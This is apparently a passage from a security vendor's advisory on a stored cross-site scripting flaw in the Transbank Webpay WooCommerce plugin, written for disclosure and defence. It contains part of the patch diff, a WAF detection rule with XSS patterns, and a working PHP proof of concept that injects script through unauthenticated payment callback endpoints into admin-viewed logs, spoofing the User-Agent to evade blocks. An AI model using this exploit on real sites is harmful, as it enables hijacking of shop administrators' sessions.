+    public static $prefixLengthsPsr4 = array('T' => array('TransbankWooCommerceWebpayRest\' => 33, 'TransbankPlugin\' => 17, 'TransbankVendor\Transbank\' => 10), 'P' => array('TransbankVendorPsrLog\' => 8, 'TransbankVendorPsrHttpMessage\' => 17, 'TransbankVendorPsrHttpClient\' => 16), 'M' => array('TransbankVendor\Monolog\' => 8), 'G' => array('TransbankVendorGuzzleHttpPsr7\' => 16, 'TransbankVendorGuzzleHttpPromise\' => 19, 'TransbankVendor\GuzzleHttp\' => 11));
+    public static $prefixDirsPsr4 = array('TransbankWooCommerceWebpayRest\' => array(0 => __DIR__ . '/../..' . '/src'), 'TransbankPlugin\' => array(0 => __DIR__ . '/../..' . '/shared'), 'TransbankVendor\Transbank\' => array(0 => __DIR__ . '/..' . '/transbank/transbank-sdk/src'), 'TransbankVendorPsrLog\' => array(0 => __DIR__ . '/..' . '/psr/log/src'), 'TransbankVendorPsrHttpMessage\' => array(0 => __DIR__ . '/..' . '/psr/http-factory/src', 1 => __DIR__ . '/..' . '/psr/http-message/src'), 'TransbankVendorPsrHttpClient\' => array(0 => __DIR__ . '/..' . '/psr/http-client/src'), 'TransbankVendor\Monolog\' => array(0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog'), 'TransbankVendorGuzzleHttpPsr7\' => array(0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src'), 'TransbankVendorGuzzleHttpPromise\' => array(0 => __DIR__ . '/..' . '/guzzlehttp/promises/src'), 'TransbankVendor\GuzzleHttp\' => array(0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src'));
     public static $classMap = array('ComposerInstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php');
     public static function getInitializer(ComposerAutoloadClassLoader $loader)
     {
--- a/transbank-webpay-plus-rest/vendor-prefixed/composer/installed.php
+++ b/transbank-webpay-plus-rest/vendor-prefixed/composer/installed.php
@@ -2,4 +2,4 @@

 namespace TransbankVendor;

-return array('root' => array('name' => 'transbank/woocommerce-plugin', 'pretty_version' => '1.13.0', 'version' => '1.13.0.0', 'reference' => 'f4149eea61cbc518c64f988d70fe55b8bd0e7629', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('guzzlehttp/guzzle' => array('pretty_version' => '7.10.0', 'version' => '7.10.0.0', 'reference' => 'b51ac707cfa420b7bfd4e4d5e510ba8008e822b4', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/guzzle', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/promises' => array('pretty_version' => '2.3.0', 'version' => '2.3.0.0', 'reference' => '481557b130ef3790cf82b713667b43030dc9c957', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/promises', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/psr7' => array('pretty_version' => '2.9.0', 'version' => '2.9.0.0', 'reference' => '7d0ed42f28e42d61352a7a79de682e5e67fec884', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/psr7', 'aliases' => array(), 'dev_requirement' => false), 'monolog/monolog' => array('pretty_version' => '3.10.0', 'version' => '3.10.0.0', 'reference' => 'b321dd6749f0bf7189444158a3ce785cc16d69b0', 'type' => 'library', 'install_path' => __DIR__ . '/../monolog/monolog', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-client' => array('pretty_version' => '1.0.3', 'version' => '1.0.3.0', 'reference' => 'bb5906edc1c324c9a05aa0873d40117941e5fa90', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-client', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-client-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-factory' => array('pretty_version' => '1.1.0', 'version' => '1.1.0.0', 'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-factory', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-factory-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-message' => array('pretty_version' => '2.0', 'version' => '2.0.0.0', 'reference' => '402d35bcb92c70c026d1a6a9883f06b2ead23d71', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-message-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/log' => array('pretty_version' => '3.0.2', 'version' => '3.0.2.0', 'reference' => 'f16e1d5863e37f8d8c2a01719f5b34baa2b714d3', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'dev_requirement' => false), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '3.0.0')), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v3.6.0', 'version' => '3.6.0.0', 'reference' => '63afe740e99a13ba87ec199bb07bbdee937a5b62', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'transbank/transbank-sdk' => array('pretty_version' => '5.1.0', 'version' => '5.1.0.0', 'reference' => '4e17ccb419c69311731028f9fb7f7d42575e9745', 'type' => 'library', 'install_path' => __DIR__ . '/../transbank/transbank-sdk', 'aliases' => array(), 'dev_requirement' => false), 'transbank/woocommerce-plugin' => array('pretty_version' => '1.13.0', 'version' => '1.13.0.0', 'reference' => 'f4149eea61cbc518c64f988d70fe55b8bd0e7629', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false)));
+return array('root' => array('name' => 'transbank/woocommerce-plugin', 'pretty_version' => '1.14.0', 'version' => '1.14.0.0', 'reference' => '0edd0b3f772e3f226fe413dcf95dd1cd82a81072', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('guzzlehttp/guzzle' => array('pretty_version' => '7.10.0', 'version' => '7.10.0.0', 'reference' => 'b51ac707cfa420b7bfd4e4d5e510ba8008e822b4', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/guzzle', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/promises' => array('pretty_version' => '2.3.0', 'version' => '2.3.0.0', 'reference' => '481557b130ef3790cf82b713667b43030dc9c957', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/promises', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/psr7' => array('pretty_version' => '2.9.0', 'version' => '2.9.0.0', 'reference' => '7d0ed42f28e42d61352a7a79de682e5e67fec884', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/psr7', 'aliases' => array(), 'dev_requirement' => false), 'monolog/monolog' => array('pretty_version' => '3.10.0', 'version' => '3.10.0.0', 'reference' => 'b321dd6749f0bf7189444158a3ce785cc16d69b0', 'type' => 'library', 'install_path' => __DIR__ . '/../monolog/monolog', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-client' => array('pretty_version' => '1.0.3', 'version' => '1.0.3.0', 'reference' => 'bb5906edc1c324c9a05aa0873d40117941e5fa90', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-client', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-client-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-factory' => array('pretty_version' => '1.1.0', 'version' => '1.1.0.0', 'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-factory', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-factory-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-message' => array('pretty_version' => '2.0', 'version' => '2.0.0.0', 'reference' => '402d35bcb92c70c026d1a6a9883f06b2ead23d71', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-message-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/log' => array('pretty_version' => '3.0.2', 'version' => '3.0.2.0', 'reference' => 'f16e1d5863e37f8d8c2a01719f5b34baa2b714d3', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'dev_requirement' => false), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '3.0.0')), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v3.6.0', 'version' => '3.6.0.0', 'reference' => '63afe740e99a13ba87ec199bb07bbdee937a5b62', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'transbank/transbank-sdk' => array('pretty_version' => '5.1.0', 'version' => '5.1.0.0', 'reference' => '4e17ccb419c69311731028f9fb7f7d42575e9745', 'type' => 'library', 'install_path' => __DIR__ . '/../transbank/transbank-sdk', 'aliases' => array(), 'dev_requirement' => false), 'transbank/woocommerce-plugin' => array('pretty_version' => '1.14.0', 'version' => '1.14.0.0', 'reference' => '0edd0b3f772e3f226fe413dcf95dd1cd82a81072', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false)));
--- a/transbank-webpay-plus-rest/webpay-rest.php
+++ b/transbank-webpay-plus-rest/webpay-rest.php
@@ -38,7 +38,7 @@
  * Plugin Name: Transbank Webpay
  * Plugin URI: https://www.transbankdevelopers.cl/plugin/woocommerce/webpay
  * Description: Recibe pagos en línea con Tarjetas de Crédito y Redcompra en tu WooCommerce a través de Webpay Plus y Webpay Oneclick.
- * Version: 1.13.0
+ * Version: 1.14.0
  * Requires Plugins: woocommerce
  * Author: TransbankDevelopers
  * Author URI: https://www.transbank.cl

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6858
# Blocks unauthenticated XSS injection into Transbank Webpay log files
SecRule REQUEST_URI "@rx /wc-api/transbank_webpay_plus_rest_(commit|finish_oneclick)" 
  "id:20266858,phase:2,deny,status:403,chain,msg:'CVE-2026-6858 - Transbank Webpay Stored XSS',severity:'CRITICAL',tag:'CVE-2026-6858'"
  SecRule ARGS_GET|ARGS_POST "@rx <script[^>]*>|<img[^>]*onerror|<svg[^>]*onload" "t:lowercase,t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6858 - Transbank Webpay < 1.14.0 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$payload = '<script>alert("XSS by Atomic Edge - CVE-2026-6858");</script>';

// The vulnerable endpoint is the Webpay commit return URL.
// WordPress WC-API routes are typically accessible without authentication.
$endpoint = '/wc-api/transbank_webpay_plus_rest_commit';
$full_url = $target_url . $endpoint;

// Craft the malicious request with XSS payload in token_ws
$post_data = [
    'token_ws' => $payload,
    'TBK_TOKEN' => $payload,
    'TBK_ID_SESION' => 'test_session',
    'TBK_ORDEN_COMPRA' => '12345'
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set a realistic User-Agent to avoid simple blocks
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] CVE-2026-6858 - Payload injection attemptn";
echo "[+] Target: {$full_url}n";
echo "[+] Payload: {$payload}n";
echo "[+] HTTP Response Code: {$http_code}n";
echo "[+] If the request was processed without error, the log file now contains the malicious script.n";
echo "[+] An admin viewing the logs at: {$target_url}/wp-admin/options-general.php?page=transbank_webpay_plus_rest&tbk_tab=logsn";
echo "[+] will trigger the XSS.n";

// Second part: Attempt to trigger the Oneclick controller as well
$oneclick_endpoint = '/wc-api/transbank_webpay_plus_rest_finish_oneclick';
$oneclick_url = $target_url . $oneclick_endpoint;
$post_data_oneclick = [
    'TBK_TOKEN' => $payload,
    'TBK_ID_SESION' => 'test_session',
    'TBK_ORDEN_COMPRA' => '12345'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $oneclick_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data_oneclick));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

$response_oneclick = curl_exec($ch);
$http_code_oneclick = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "n[+] Oneclick endpoint test:n";
echo "[+] Target: {$oneclick_url}n";
echo "[+] HTTP Response Code: {$http_code_oneclick}n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School